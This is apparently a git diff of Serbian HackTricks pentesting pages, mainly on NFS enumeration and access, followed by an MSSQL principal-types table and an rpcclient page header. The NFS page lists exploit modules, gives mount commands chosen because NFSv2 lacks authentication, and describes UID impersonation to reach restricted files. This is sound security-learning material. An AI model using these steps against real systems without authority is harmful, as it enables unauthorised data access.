* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**NFS** je sistem dizajniran za **klijent/server** koji omogućava korisnicima da na mreži pristupaju datotekama kao da se one nalaze u lokalnom direktorijumu.
|
||||
**NFS** je sistem dizajniran za **klijent/server** koji omogućava korisnicima da besprekorno pristupaju datotekama preko mreže kao da su te datoteke smeštene unutar lokalnog direktorijuma.
|
||||
|
||||
Značajan aspekt ovog protokola je nedostatak ugrađenih **mekanizama za autentifikaciju** ili **autorizaciju**. Umesto toga, autorizacija se oslanja na **informacije o fajl sistemu**, pri čemu je server zadužen za tačno prevođenje **informacija o korisniku koje pruža klijent** u potrebni **format autorizacije** fajl sistema, uglavnom prateći **UNIX sintaksu**.
|
||||
Značajan aspekt ovog protokola je njegov nedostatak ugrađenih **mehanizama autentifikacije** ili **autorizacije**. Umesto toga, autorizacija se oslanja na **informacije o datotečnom sistemu**, pri čemu je server zadužen za tačno prevođenje **informacija o korisniku koje pruža klijent** u potrebni **format autorizacije** datotečnog sistema, prvenstveno prateći **UNIX sintaksu**.
|
||||
|
||||
Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i članstvo u grupama**. Međutim, izazov se javlja zbog potencijalne neusklađenosti u **mapiranjima `UID`/`GID`** između klijenata i servera, ne ostavljajući prostora za dodatnu verifikaciju od strane servera. Stoga je protokol najbolje prilagođen za upotrebu unutar **poverenih mreža**, s obzirom na njegovu oslanjanje na ovaj metod autentifikacije.
|
||||
Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i članstva u grupama**. Međutim, izazov nastaje zbog potencijalne nesaglasnosti u **`UID`/`GID` mapiranju** između klijenata i servera, ostavljajući bez prostora za dodatnu verifikaciju od strane servera. Kao rezultat, protokol je najbolje koristiti unutar **pouzdanih mreža**, s obzirom na to da se oslanja na ovu metodu autentifikacije.
|
||||
|
||||
**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, koja zahteva samo TCP ili UDP). 
|
||||
**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, potrebni su samo TCP ili UDP). 
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
### Verzije
|
||||
|
||||
- **NFSv2**: Ova verzija je poznata po svojoj širokoj kompatibilnosti sa različitim sistemima, a njen značaj se ogleda u tome što su početne operacije uglavnom izvršavane preko UDP-a. Kao **najstarija** u seriji, postavila je temelje za budući razvoj.
|
||||
- **NFSv2**: Ova verzija je prepoznata po širokoj kompatibilnosti sa raznim sistemima, označavajući njen značaj sa početnim operacijama pretežno preko UDP-a. Kao **najstarija** u seriji, postavila je temelje za buduće razvoj.
|
||||
|
||||
- **NFSv3**: Uvedena sa nizom poboljšanja, NFSv3 je proširio svoje prethodnika podržavajući promenljive veličine fajlova i nudeći unapređeni mehanizam za prijavu grešaka. Uprkos svojim napredovanjima, suočavao se sa ograničenjima u potpunoj kompatibilnosti sa NFSv2 klijentima.
|
||||
- **NFSv3**: Uvedena sa nizom poboljšanja, NFSv3 je proširila svog prethodnika podržavajući promenljive veličine datoteka i nudeći poboljšane mehanizme izveštavanja o greškama. I pored svojih napredaka, suočila se sa ograničenjima u punoj unazadnoj kompatibilnosti sa NFSv2 klijentima.
|
||||
|
||||
- **NFSv4**: Pionirska verzija u seriji NFS, NFSv4 je donela niz funkcionalnosti dizajniranih za modernizaciju deljenja fajlova preko mreže. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku bezbednost**, mogućnost prolaska kroz firewall-ove i rad preko interneta bez potrebe za portmaperima, podršku za Access Control List (ACL) i uvođenje operacija zasnovanih na stanju. Njegova poboljšanja performansi i usvajanje protokola sa stanjem izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja fajlova preko mreže.
|
||||
- **NFSv4**: Prelomna verzija u NFS seriji, NFSv4 je donela niz funkcija dizajniranih da modernizuju deljenje datoteka preko mreža. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku sigurnost**, sposobnost prelaska kroz vatrozidove i rad preko Interneta bez potrebe za portmaperima, podršku za liste kontrole pristupa (ACL), i uvođenje operacija zasnovanih na stanju. Njena poboljšanja u performansama i usvajanje protokola zasnovanog na stanju izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja mrežnih datoteka.
|
||||
|
||||
Svaka verzija NFS-a je razvijena sa namerom da se adresiraju evoluirajuće potrebe mrežnih okruženja, postepeno unapređujući bezbednost, kompatibilnost i performanse.
|
||||
Svaka verzija NFS-a je razvijena sa namerom da odgovori na evoluirajuće potrebe mrežnih okruženja, postepeno poboljšavajući sigurnost, kompatibilnost i performanse.
|
||||
|
||||
## Enumeracija
|
||||
|
||||
### Korisni nmap skriptovi
|
||||
### Korisni nmap skripti
|
||||
```bash
|
||||
nfs-ls #List NFS exports and check permissions
|
||||
nfs-showmount #Like showmount -e
|
||||
nfs-statfs #Disk statistics and info from NFS share
|
||||
```
|
||||
### Korisni metasploit moduli
|
||||
|
||||
Metasploit je moćan alat za testiranje penetracije koji pruža širok spektar modula za iskorišćavanje ranjivosti. Ovi moduli omogućavaju hakerima da automatizuju proces pronalaženja i iskorišćavanja ranjivosti u ciljnom sistemu. Evo nekoliko korisnih metasploit modula koji se mogu koristiti u testiranju penetracije:
|
||||
|
||||
- `exploit/multi/handler`: Ovaj modul omogućava hakerima da postave "ručni" iskorišćavač koji će osluškivati dolazne veze i preuzeti kontrolu nad ranjivim sistemom.
|
||||
|
||||
- `exploit/windows/smb/ms17_010_eternalblue`: Ovaj modul iskorišćava ranjivost EternalBlue u Windows SMB protokolu kako bi omogućio hakerima da izvrše udaljeni kod na ciljnom Windows sistemu.
|
||||
|
||||
- `exploit/linux/ftp/vsftpd_234_backdoor`: Ovaj modul iskorišćava ranjivost u vsftpd FTP serveru verzije 2.3.4 koja omogućava hakerima da dobiju udaljeni pristup sistemu.
|
||||
|
||||
- `exploit/multi/http/php_cgi_arg_injection`: Ovaj modul iskorišćava ranjivost u PHP CGI skriptama koja omogućava hakerima da izvrše proizvoljan kod na ciljnom sistemu.
|
||||
|
||||
- `exploit/multi/misc/java_rmi_server`: Ovaj modul iskorišćava ranjivost u Java RMI serverima koja omogućava hakerima da izvrše proizvoljan kod na ciljnom sistemu.
|
||||
|
||||
- `exploit/multi/browser/java_signed_applet`: Ovaj modul iskorišćava ranjivost u Java potpisanim appletima koja omogućava hakerima da izvrše proizvoljan kod na ciljnom sistemu.
|
||||
|
||||
Ovi moduli su samo neki od mnogih dostupnih u Metasploit okruženju. Hakeri mogu koristiti ove module kao deo svoje strategije testiranja penetracije kako bi identifikovali i iskoristili ranjivosti u ciljnom sistemu.
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### Montiranje
|
||||
### Mounting
|
||||
|
||||
Da biste saznali **koji folder** na serveru je **dostupan** za montiranje, možete ga pitati koristeći:
|
||||
Da biste saznali **koju fasciklu** server ima **dostupnu** za montiranje, možete ga pitati koristeći:
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
|
@ -72,7 +59,7 @@ Zatim ga montirajte koristeći:
|
|||
```bash
|
||||
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
||||
```
|
||||
Treba da specificirate da **koristite verziju 2** jer ona nema **nikakvu** **autentifikaciju** ili **autorizaciju**.
|
||||
Trebalo bi da navedete da **koristite verziju 2** jer nema **nikakvu** **autentifikaciju** ili **autorizaciju**.
|
||||
|
||||
**Primer:**
|
||||
```bash
|
||||
|
@ -81,13 +68,13 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
|||
```
|
||||
## Dozvole
|
||||
|
||||
Ako montirate fasciklu koja sadrži **datoteke ili fascikle kojima je pristup dozvoljen samo određenom korisniku** (preko **UID**-a), možete **lokalno kreirati** korisnika sa tim **UID**-om i koristiti tog korisnika da biste **pristupili** datoteci/fascikli.
|
||||
Ako montirate folder koji sadrži **fajlove ili foldere koji su dostupni samo nekim korisnicima** (preko **UID**). Možete **napraviti** **lokalno** korisnika sa tim **UID** i koristeći tog **korisnika** moći ćete da **pristupite** fajlu/folderu.
|
||||
|
||||
## NSFShell
|
||||
|
||||
Da biste lako izlistali, montirali i promenili UID i GID kako biste imali pristup datotekama, možete koristiti [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
Da biste lako listali, montirali i menjali UID i GID kako biste imali pristup fajlovima, možete koristiti [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
|
||||
[Lepe uputstva za korišćenje NFSShell-a.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
## Konfiguracione datoteke
|
||||
```
|
||||
|
@ -96,21 +83,21 @@ Da biste lako izlistali, montirali i promenili UID i GID kako biste imali pristu
|
|||
```
|
||||
### Opasne postavke
|
||||
|
||||
- **Dozvole za čitanje i pisanje (`rw`):** Ova postavka omogućava i čitanje i pisanje u fajl sistem. Važno je razmotriti posledice davanja tako široke pristupne dozvole.
|
||||
- **Dozvole za čitanje i pisanje (`rw`):** Ova postavka omogućava i čitanje i pisanje u fajl sistem. Važno je razmotriti posledice davanja tako širokog pristupa.
|
||||
|
||||
- **Korišćenje nesigurnih portova (`insecure`):** Kada je omogućeno, ovo omogućava sistemu da koristi portove iznad 1024. Sigurnost portova iznad ove opsega može biti manje stroga, povećavajući rizik.
|
||||
- **Korišćenje nesigurnih portova (`insecure`):** Kada je omogućeno, ovo omogućava sistemu da koristi portove iznad 1024. Bezbednost portova iznad ovog opsega može biti manje stroga, povećavajući rizik.
|
||||
|
||||
- **Vidljivost ugnježdenih fajl sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi fajl sistem montiran ispod izvezenog direktorijuma. Svaki direktorijum zahteva svoj sopstveni unos za izvoz radi pravilnog upravljanja.
|
||||
- **Vidljivost ugnježdenih fajl sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi fajl sistem montiran ispod izvezenog direktorijuma. Svakom direktorijumu je potrebna sopstvena izvozna stavka za pravilno upravljanje.
|
||||
|
||||
- **Vlasništvo fajlova od strane korisnika root (`no_root_squash`):** Sa ovom postavkom, fajlovi kreirani od strane korisnika root zadržavaju svoj originalni UID/GID od 0, ignorirajući princip najmanjih privilegija i potencijalno dodeljujući prekomerne dozvole.
|
||||
- **Vlasništvo fajlova od strane root korisnika (`no_root_squash`):** Sa ovom postavkom, fajlovi koje kreira root korisnik zadržavaju svoj originalni UID/GID od 0, zanemarujući princip minimalnih privilegija i potencijalno dodeljujući prekomerne dozvole.
|
||||
|
||||
- **Nesquashing svih korisnika (`no_all_squash`):** Ova opcija obezbeđuje da se identiteti korisnika očuvaju u celom sistemu, što može dovesti do problema sa dozvolama i kontrolom pristupa ako se ne rukuje ispravno.
|
||||
- **Nesmanjenje svih korisnika (`no_all_squash`):** Ova opcija osigurava da identiteti korisnika budu očuvani širom sistema, što može dovesti do problema sa dozvolama i kontrolom pristupa ako se ne upravlja pravilno.
|
||||
|
||||
## Eskalacija privilegija korišćenjem loše konfigurisanih NFS-a
|
||||
## Eskalacija privilegija korišćenjem NFS pogrešnih konfiguracija
|
||||
|
||||
[NFS no\_root\_squash i no\_all\_squash eskalacija privilegija](../linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||
|
||||
## HackTricks Automatske Komande
|
||||
## HackTricks Automatske komande
|
||||
```
|
||||
Protocol_Name: NFS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 2049 #Comma separated if there is more than one.
|
||||
|
@ -137,14 +124,17 @@ Name: Nmap
|
|||
Description: Nmap with NFS Scripts
|
||||
Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,51 @@
|
|||
# Vrste MSSQL korisnika
|
||||
# Tipovi MSSQL korisnika
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Tabela preuzeta sa [**dokumentacije**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16).
|
||||
Tabela preuzeta iz [**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16).
|
||||
|
||||
| Ime kolone | Tip podataka | Opis |
|
||||
| Ime kolone | Tip podataka | Opis |
|
||||
| ------------------------------------------ | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **name** | **sysname** | Ime principala, jedinstveno unutar baze podataka. |
|
||||
| **principal\_id** | **int** | ID principala, jedinstveno unutar baze podataka. |
|
||||
| **type** | **char(1)** | <p>Tip principala:<br><br>A = Aplikacijska uloga<br><br>C = Korisnik mapiran na sertifikat<br><br>E = Spoljni korisnik iz Azure Active Directory<br><br>G = Windows grupa<br><br>K = Korisnik mapiran na asimetrični ključ<br><br>R = Baza podataka uloga<br><br>S = SQL korisnik<br><br>U = Windows korisnik<br><br>X = Spoljna grupa iz Azure Active Directory grupe ili aplikacija</p> |
|
||||
| **type\_desc** | **nvarchar(60)** | <p>Opis tipa principala.<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
|
||||
| **default\_schema\_name** | **sysname** | Ime koje će se koristiti kada SQL ime ne specificira šemu. Null za principe koji nisu tipa S, U ili A. |
|
||||
| **create\_date** | **datetime** | Vreme kada je princip kreiran. |
|
||||
| **ime** | **sysname** | Ime principa, jedinstveno unutar baze podataka. |
|
||||
| **principal\_id** | **int** | ID principa, jedinstven unutar baze podataka. |
|
||||
| **tip** | **char(1)** | <p>Tip principa:<br><br>A = Uloga aplikacije<br><br>C = Korisnik mapiran na sertifikat<br><br>E = Spoljašnji korisnik iz Azure Active Directory<br><br>G = Windows grupa<br><br>K = Korisnik mapiran na asimetrični ključ<br><br>R = Uloga baze podataka<br><br>S = SQL korisnik<br><br>U = Windows korisnik<br><br>X = Spoljašnja grupa iz Azure Active Directory grupe ili aplikacija</p> |
|
||||
| **tip\_opis** | **nvarchar(60)** | <p>Opis tipa principa.<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
|
||||
| **default\_schema\_name** | **sysname** | Ime koje će se koristiti kada SQL ime ne specificira šemu. Null za principe koji nisu tipa S, U ili A. |
|
||||
| **create\_date** | **datetime** | Vreme kada je princip kreiran. |
|
||||
| **modify\_date** | **datetime** | Vreme kada je princip poslednji put izmenjen. |
|
||||
| **owning\_principal\_id** | **int** | ID principala koji je vlasnik ovog principala. Svi fiksni ulozi baze podataka su podrazumevano vlasništvo **dbo**. |
|
||||
| **sid** | **varbinary(85)** | SID (Security Identifier) principala. NULL za SYS i INFORMATION SCHEMAS. |
|
||||
| **is\_fixed\_role** | **bit** | Ako je 1, ova vrsta predstavlja unos za jedan od fiksnih uloga baze podataka: db\_owner, db\_accessadmin, db\_datareader, db\_datawriter, db\_ddladmin, db\_securityadmin, db\_backupoperator, db\_denydatareader, db\_denydatawriter. |
|
||||
| **authentication\_type** | **int** | <p><strong>Od se odnosi na</strong>: SQL Server 2012 (11.x) i novije verzije.<br><br>Označava tip autentifikacije. Sledeće su moguće vrednosti i njihovi opisi.<br><br>0 : Bez autentifikacije<br>1 : Autentifikacija instance<br>2 : Autentifikacija baze podataka<br>3 : Windows autentifikacija<br>4 : Azure Active Directory autentifikacija</p> |
|
||||
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>Od se odnosi na</strong>: SQL Server 2012 (11.x) i novije verzije.<br><br>Opis tipa autentifikacije. Sledeće su moguće vrednosti i njihovi opisi.<br><br><code>NONE</code> : Bez autentifikacije<br><code>INSTANCE</code> : Autentifikacija instance<br><code>DATABASE</code> : Autentifikacija baze podataka<br><code>WINDOWS</code> : Windows autentifikacija<br><code>EXTERNAL</code>: Azure Active Directory autentifikacija</p> |
|
||||
| **default\_language\_name** | **sysname** | <p><strong>Od se odnosi na</strong>: SQL Server 2012 (11.x) i novije verzije.<br><br>Označava podrazumevani jezik za ovog principala.</p> |
|
||||
| **default\_language\_lcid** | **int** | <p><strong>Od se odnosi na</strong>: SQL Server 2012 (11.x) i novije verzije.<br><br>Označava podrazumevani LCID za ovog principala.</p> |
|
||||
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>Od se odnosi na</strong>: SQL Server 2016 (13.x) i novije verzije, SQL Database.<br><br>Suzbija proveru kriptografskih metapodataka na serveru u operacijama kopiranja u blokovima. Ovo omogućava korisniku kopiranje podataka koji su enkriptovani pomoću Always Encrypted, između tabela ili baza podataka, bez dešifrovanja podataka. Podrazumevano je ISKLJUČENO.</p> |
|
||||
| **owning\_principal\_id** | **int** | ID principa koji poseduje ovaj princip. Sve fiksne uloge baze podataka su po defaultu u vlasništvu **dbo**. |
|
||||
| **sid** | **varbinary(85)** | SID (Identifikator bezbednosti) principa. NULL za SYS i INFORMATION SCHEMAS. |
|
||||
| **is\_fixed\_role** | **bit** | Ako je 1, ova stavka predstavlja unos za jednu od fiksnih uloga baze podataka: db\_owner, db\_accessadmin, db\_datareader, db\_datawriter, db\_ddladmin, db\_securityadmin, db\_backupoperator, db\_denydatareader, db\_denydatawriter. |
|
||||
| **authentication\_type** | **int** | <p><strong>Primena na</strong>: SQL Server 2012 (11.x) i novije.<br><br>Označava tip autentifikacije. Sledeće su moguće vrednosti i njihovi opisi.<br><br>0 : Nema autentifikacije<br>1 : Autentifikacija instance<br>2 : Autentifikacija baze podataka<br>3 : Windows autentifikacija<br>4 : Autentifikacija Azure Active Directory</p> |
|
||||
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>Primena na</strong>: SQL Server 2012 (11.x) i novije.<br><br>Opis tipa autentifikacije. Sledeće su moguće vrednosti i njihovi opisi.<br><br><code>NONE</code> : Nema autentifikacije<br><code>INSTANCE</code> : Autentifikacija instance<br><code>DATABASE</code> : Autentifikacija baze podataka<br><code>WINDOWS</code> : Windows autentifikacija<br><code>EXTERNAL</code>: Autentifikacija Azure Active Directory</p> |
|
||||
| **default\_language\_name** | **sysname** | <p><strong>Primena na</strong>: SQL Server 2012 (11.x) i novije.<br><br>Označava podrazumevani jezik za ovaj princip.</p> |
|
||||
| **default\_language\_lcid** | **int** | <p><strong>Primena na</strong>: SQL Server 2012 (11.x) i novije.<br><br>Označava podrazumevani LCID za ovaj princip.</p> |
|
||||
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>Primena na</strong>: SQL Server 2016 (13.x) i novije, SQL Database.<br><br>Potiskuje provere kriptografskih metapodataka na serveru u operacijama masovnog kopiranja. Ovo omogućava korisniku da masovno kopira podatke koji su šifrovani koristeći Always Encrypted, između tabela ili baza podataka, bez dešifrovanja podataka. Podrazumevano je ISKLJUČENO.</p> |
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Enumeracija rpcclient-a
|
||||
# rpcclient enumeration
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
